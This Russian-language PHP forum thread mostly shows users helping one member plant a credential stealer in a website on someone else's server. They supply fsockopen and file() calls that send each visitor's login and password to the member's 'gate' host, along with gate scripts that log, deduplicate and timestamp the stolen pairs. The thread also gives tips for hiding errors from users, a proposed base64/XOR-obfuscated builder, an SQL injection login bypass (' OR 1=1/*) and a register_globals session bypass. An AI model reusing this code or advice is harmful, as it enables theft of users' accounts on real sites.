[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. XopoIII

    XopoIII Elder - Старейшина

    Joined:
    29 Oct 2007
    Messages:
    386
    Likes Received:
    30
    Reputations:
    0
    ой точно, я на сайт не заходил=)
     
  2. spyke

    spyke Elder - Старейшина

    Joined:
    4 Aug 2005
    Messages:
    30
    Likes Received:
    13
    Reputations:
    0
    Господа! Нужна помощь по пхп.
    Есть пхп скрипт на чужой машине, в нем используются 2 переменные $account и $password
    У меня есть халявный хостинг, хочу чтоб каждый раз когда исполняется скрипт, эти переменные передавались моему гейту, который пишет ихзначения в файл.
    Гейт готов, осталось лишь придумать, как вызывать этот скрипт в виде http://myhost.com/gate.php?acc=$account&pass=$password
    Там пхп 4.4.2, так просто fopen не использовать.
    Как поступить?
     
  3. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    мож так?

    PHP:
    //кусок кода
    $host="http://myhost.com";
    $fp fsockopen ($host80);
    if (!
    $fp) {
        echo 
    "неполучилось";
    } else {
    $qs="GET /gate.php?acc=".$account."&pass=".$password."HTTP/1.0\r\nHost: ".$host."\r\n\r\n";
    fputs ($fp$qs);
    fclose ($fp);
    }
    а вобще что тебе мешает сохранять переменные на чужом компе в текстовый файл, а потом со своего читать его удаленно?
     
  4. spyke

    spyke Elder - Старейшина

    Joined:
    4 Aug 2005
    Messages:
    30
    Likes Received:
    13
    Reputations:
    0
    Эх, не пашет(
     
  5. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Ну это не серьезно, ты бы тогда сказал, какие ошибки выдает, соединяет ли или нет, вобщем все подробно

    а вобще кинь мне в личку твой сайт, я поробую у себя скрипт запустить, посмотрим придут или нет тебе пароли
     
    1 person likes this.
  6. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Возможно ошибка в том, что немножко неправильно формируется GET-запрос... Обратите внимание, что в запросе перед спецификацией протокола (HTTP/1.0) не выставлен пробел... То есть, получается, что этот скрипт будет постоянно запрашивать несуществующий ресурс на сервере... Лечение простое - добавить этот чёртов пробел...

    PHP:
    // (c) кусок кода, by Scipio
    $host="http://myhost.com";
    $fp fsockopen ($host80);
    if (!
    $fp) {
        echo 
    "неполучилось";
    } else {
    $qs="GET /gate.php?acc=".$account."&pass=".$password." HTTP/1.0\r\nHost: ".$host."\r\n\r\n";
    fputs ($fp$qs);
    fclose ($fp);
    }
     
    2 people like this.
  7. darckmilord

    darckmilord Elder - Старейшина

    Joined:
    8 Feb 2007
    Messages:
    50
    Likes Received:
    14
    Reputations:
    0
    Помогите пожалуйста

    есть 2 кнопки, нужно чтобы при нажатии на одну из них файлы подключались из одного файла
    а на другую из другого, и при чем чтобы при следующем заходе не требовалось нажимать снова а файл сам уже инклюдился и при этом для каждого заходящего на страницу отдельно, можно даже с записью информации куданибудь.

    Прям самый простенький примерчик для понимания...
     
  8. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Задание не очень ясно... Ты хочешь сделать что-то типа аттачей в почтовом сервисе? Никто такое бесплатно делать не будет, ибо работы тут достаточно...
     
  9. darckmilord

    darckmilord Elder - Старейшина

    Joined:
    8 Feb 2007
    Messages:
    50
    Likes Received:
    14
    Reputations:
    0
    задача думаю не очень сложная.. но точно не знаю...
    просто нужно реализовать чтото типа если нажал на первую кнопку был английский текс, а при нажатии на вторую русский текс. и при этом это куданить в файл писалось типа этот чел выбрал для себя русский и потом он зашел и сразу русский был, или через куки как нить... просто представляю себе это плохо а в готовых скриптах много лишнего и для меня там сложновато понять ченить
     
    1 person likes this.
  10. spyke

    spyke Elder - Старейшина

    Joined:
    4 Aug 2005
    Messages:
    30
    Likes Received:
    13
    Reputations:
    0
    Scipio и groundhog, спс огромное, все пашет. Дело в том что сайт часто посещаемый и если я не буду гасить вывод ошибки, юзеры могут просечь что к чему. Вот новый вопрос.
    Поступают эти 2 переменные каждый раз, когда юзер ходит по личному кабинету. И пишутся они в файл blablabla.txt. Но проблема в том, что каждый раз, когда юзер кликает на ссылку в личном кабинете, эти переменные пишутся снова и снова в конец файла с новой строки. Как избежать дубляжа "на лету"? Просто такими темпами там будет 1ГБ запятых и одинаковых пар логин+пароль, а это палево.
     
  11. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    spyke, если ты ещё мучаешся с тем скриптом, то $host="myhost.com"; а не $host="http://myhost.com";
    И ябы лично делалбы
    file("http://web.ru/gate.php?acc=".$account."&pass=".$password); но на хостинге может не прокатить, такчто решай сам :)
    А насчёт повторений
    PHP:
    <?
    if (!
    $_SESSION['gate']) {
    //Сливаем логи и пасс
    $_SESSION['gate'] = true;
    }
    ?>
    darckmilord,
    Вот это токо пример как я делал...
    делаш папку lang для неё Deny from all в неё пихаеш rus.php и eng.php
    PHP:
    <?
    //eng.php
    $lang = array();
    $lang['title'] = 'My website';
    $land['welcome_msg'] = 'Hello';
    ?>
    PHP:
    <?
    //rus.php
    $lang = array();
    $lang['title'] = 'Мой вебсайт';
    $lang['welcome_msg'] = 'Привет';
    ?>
    В корне создаём file.php
    PHP:
    <?
    $languages = array('rus','eng');
    if(!
    $_COOKIE['lang'] || !in_array($_COOKIE['lang'],$languages)) {
        
    setcookie('lang',$languages[0]);
        
    $_COOKIE['lang'] = $languages[0];
    }
    if(
    $_GET['lang'] && in_array($_GET['lang'],$languages)) {
        
    setcookie('lang',$_GET['lang']);
        
    $_COOKIE['lang'] = $_GET['lang'];
    }
    include(
    "lang/{$_COOKIE['lang']}.php");
    echo 
    "<center><h1>{$lang['title']}</h1><br>{$lang['welcome_msg']}</center><br>";
    echo 
    '<a href="?lang=rus">rus</a> <a href="?lang=eng">eng</a>';
    ?>
    Заходим на file.php и юзаем :) дальше сам думаю разберёшся :)
     
    #951 Ponchik, 21 Nov 2007
    Last edited: 21 Nov 2007
  12. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    darckmilord, да, задача действительно не из сильных. Я просто в смысл не въехал. Вот решение:

    PHP:
    <?php

    if (isset($_COOKIE["pillow"])) {
        
    $pillow strtolower($_COOKIE["pillow"]);
        if (
    $pillow === "blue") die("Матрица поимела тебя, Нео!");
        elseif (
    $pillow === "red") die("Ты поимел матрицу, Нео!");
    }

    if (
    strtolower($_SERVER["REQUEST_METHOD"])=="post")
        
    setcookie("pillow"htmlspecialchars($_POST["pillow"]), time() + 60 60 24 365);

    print(
    "<h1>Красная или синяя, Нео? Сделай свой выбор!</h1>");
    print(
    "<form method=post>");
    print(
    "<input type=\"submit\" name=\"pillow\" value=\"BLUE\">\n");
    print(
    "<input type=\"submit\" name=\"pillow\" value=\"RED\">\n");
    print(
    "</form");

    ?>
     
  13. spyke

    spyke Elder - Старейшина

    Joined:
    4 Aug 2005
    Messages:
    30
    Likes Received:
    13
    Reputations:
    0
    Ponchik, да ты бог) Все просто летает и лишь 1 строчка)
     
    1 person likes this.
  14. 195531

    195531 New Member

    Joined:
    19 Nov 2007
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Товарищи кодеры помогите пожалуйста советом!

    вот такая вот проверка пароля в самом конце авторизации. Можно ли ее обойти?

    PHP:
    $sql="select * from f_user where (nick='$innick')";
    $resultn=mysql_query($sql);
    $ar=mysql_fetch_array($resultn);

    //вышестоящая проверка вырезана, поскольку там ничего не поделать

    if ($ar['pass'] == $inpass) {      $_SESSION['userenter']=$ar['id'];
     
  15. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    195531, покажи скрипт выше, надо знать что такое $innick и откуда оно берётся
    А ваще логи и пасс напиши ' OR 1=1/* если пустит, значит можно, если нет, всётаки выложи скрипт :)
    /me только что заметил "//вышестоящая проверка вырезана, поскольку там ничего не поделать"
    ну значит не судьба
    Хотя если включены глобальные переменные, можеш попробовать зайти на сайт
    index.php?$_SESSION[userenter]=1
     
    #955 Ponchik, 21 Nov 2007
    Last edited: 21 Nov 2007
  16. 195531

    195531 New Member

    Joined:
    19 Nov 2007
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    ссылку кинул в другой раздел, здесь все таки не совсем то. там инъекции нет походу, но можно весь код посмотреть, если интересно смотрите

    http://forum.antichat.ru/showthread.php?p=510350#post510350
     
  17. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    spyke, используй для вошки, которая льёт пасы в файло такой код:

    PHP:
    <?php

    if (isset($_GET["login"]) && isset($_GET["password"])) {
        
    $line sprintf("%s:%s\n"$_GET["login"], $_GET["password"]);

        
    $suff_data file("stuff.txt");

        foreach (
    $suff_data as $account_data)
            if (
    trim($line) == trim($account_data)) die("Повтор на первом игроке");

        
    $file_id fopen("stuff.txt""a+");
        if (!
    $file_id) die("Не могу открыть файлег!");

        
    fputs($file_id$line);

        
    fclose($file_id);
    }

    ?>
    Разумеется, исправь поведение на ошибки и следи чтобы файл не вырос до громадных размеров, иначе скрипт будет тормозить, а следовательно и будет тормозить страница, с которой ты вызываешь вошку.
     
    1 person likes this.
  18. spyke

    spyke Elder - Старейшина

    Joined:
    4 Aug 2005
    Messages:
    30
    Likes Received:
    13
    Reputations:
    0
    Скрипт рабочий, но допустим, мне нужно поставить дату и время перед каждой парой логин , пароль. Я сделал вот так:
    PHP:
    <?PHP
    $date 
    date("m/d/y H:i:s");
    if (isset(
    $_GET["acc"]) && isset($_GET["pass"])) {
        
    $line sprintf("$date [ %s , %s ]\n"$_GET["acc"], $_GET["pass"]);

        
    $suff_data file("file.txt");

        foreach (
    $suff_data as $account_data)
            if (
    trim($line) == trim($account_data)) die("повтор");

        
    $file_id fopen("file.txt""a+");
        if (!
    $file_id) die("die");

        
    fputs($file_id$line);

        
    fclose($file_id);
    }

    ?> 
    На выходе получаем это:

    Code:
    11/21/07 14:23:46 [ test , test ]
    11/21/07 14:23:50 [ test , test ]
    11/21/07 14:23:50 [ test , test ]
    11/21/07 14:39:05 [ sdfsdf , sdfdsf ]
    11/21/07 14:39:09 [ sdfsdf , sdfdsf ]
    11/21/07 14:39:10 [ sdfsdf , sdfdsf ]
    11/21/07 14:39:13 [ sdfsdf , sdfdsf ]
    11/21/07 14:39:14 [ sdfsdf , sdfdsf ]
    11/21/07 14:39:26 [ werwr , sdfsdsg ]
    11/21/07 14:39:36 [ werwr , sdfsdsg ]
    11/21/07 14:39:37 [ werwr , sdfsdsg ]
    11/21/07 14:39:43 [ werwr , sdfsdsg ]
    11/21/07 14:39:44 [ werwr , sdfsdsg ]
    11/21/07 14:40:00 [ werwr , sdfsdsg ]
    Скрипт смотрит строки, а мне нужно чтоб он смотрел в квадратные скобки каждой строчки) И еще, юзеры зачастую первый раз вводят пароль неправильно и посылают данные еще раз. Тоесть, автоматом надо отсеивать только повторяющиеся пары логин+пароль, а не просто логин.
    Предлагаю мастерам написать гибкий скрипт универсального гейта) С гуи интерфейсом и всякими фичами. Хокер выбирает, какие переменные принимать, куда их сохранять, в каком формате, ставить ли дату и время, в каком опять же формате и где, включать ли защиту от повторов. Гуи должен в конце показать кусочек пхп кода file() , со всеми нужными переменными и адресом сервера.
    Вроде, я такому еще аналогов не видел.

    Да, кусочек кода может модифицироваться base64 по желанию, а инфа криптоваться XOR'ом.
     
    #958 spyke, 21 Nov 2007
    Last edited: 21 Nov 2007
  19. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Пля! Ничо не понимал, дошло что это гейт :D
    PHP:
    <?PHP 
    $date 
    date("m/d/y H:i:s"); 
    if (isset(
    $_GET["acc"]) && isset($_GET["pass"])) { 
        
    $line sprintf("$date [ %s , %s ]\n"$_GET["acc"], $_GET["pass"]); 

        
    $suff_data file_get_contents("file.txt"); 

        if (!
    strpos($suff_data,"{$_GET['acc']} , {$_GET['pass']}")) {

           
    $file_id fopen("file.txt""a+"); 
           if (!
    $file_id) die("die"); 

           
    fputs($file_id$line); 

           
    fclose($file_id); 
       } 
    //Иначе просто ничего не делать


    ?>
    Если чё, стучи 202-995-022 буду тебя учить :)
     
    #959 Ponchik, 21 Nov 2007
    Last edited: 22 Nov 2007
  20. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Ну чтобы писать с датой запроса, можно использовать такой скрипт:

    PHP:
    <?php

    if (isset($_GET["login"]) && isset($_GET["password"])) {
        
    $line sprintf("%s:%s\n"$_GET["login"], $_GET["password"]);

        
    $suff_data file("stuff.txt");

        foreach (
    $suff_data as $account_data)
            if (
    trim($line) == trim($account_data)) die("Повтор на первом игроке");

        
    $file_id fopen("stuff.txt""a+");
        if (!
    $file_id) die("Не могу открыть файлег!");

        
    $extended_line sprintf("[%s] - %s"date("m/d/y H:i:s"), $line);
        
    fputs($file_id$extended_line);

        
    fclose($file_id);
    }

    ?>
    А чтобы писать только те пароли, которые были введены правильно - ты просто вставь на хосте, в которого ты засадил шпиона, строчку вызова вошки в то место, которое идёт после проверки аутентификации...
     
    2 people like this.
Thread Status:
Not open for further replies.